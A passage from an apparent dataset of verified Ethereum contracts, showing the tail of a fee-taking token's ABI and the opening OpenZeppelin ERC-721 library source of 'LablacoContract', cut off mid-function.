uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blacklistAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setEarlySellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellDevFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.9+commit.e5eed63a | true | 200 | Default | None | false | ipfs://bf7381d9f3ddef2265b66daa3957f27dff716f0cd6ed4c92fddb394b3ab82e8a |
|||
LablacoContract | 0xe114c89b60f7af765f67ad9235429d5a44f57dae | Solidity | /**
*Submitted for verification at Etherscan.io on 2019-08-20
*/
pragma solidity ^0.5.0;
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* [EIP](https://eips.ethereum.org/EIPS/eip-165).
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others (`ERC165Checker`).
*
* For an implementation, see `ERC165`.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either `approve` or `setApproveForAll`.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either `approve` or `setApproveForAll`.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/drafts/Counters.sol
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the SafeMath
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
/**
* @dev Implementation of the `IERC165` interface.
*
* Contracts may inherit from this and call `_registerInterface` to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See `IERC165.supportsInterface`.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See `IERC165.supportsInterface`.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Enumerable.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Enumerable.sol
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
